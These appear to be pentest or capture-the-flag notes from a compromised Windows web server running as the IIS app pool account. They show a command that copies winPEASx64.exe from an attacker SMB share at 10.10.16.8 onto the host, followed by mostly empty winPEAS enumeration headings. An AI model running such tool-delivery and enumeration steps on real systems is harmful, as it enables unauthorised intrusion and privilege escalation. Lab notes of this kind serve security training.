PEAS


ps c:\> mkdir tmp ; cd tmp
ps c:\tmp> cmd /c copy \\10.10.16.8\smb\winPEASx64.exe .
        1 file(s) copied.

Delivery complete over SMB

Executing PEAS

CVEs


LAPS


LSA Protection


Credentials Guards


Cached Creds


AV


Exclusion Paths


UAC


Drives


W:\

NTLM


.NET


Privileges


current user: iis apppool\defaultapppool

Logged Users


Installed Programs


c:\Program Files\TortoiseSVN

SMB


Host Files


Networks


169.254.169.254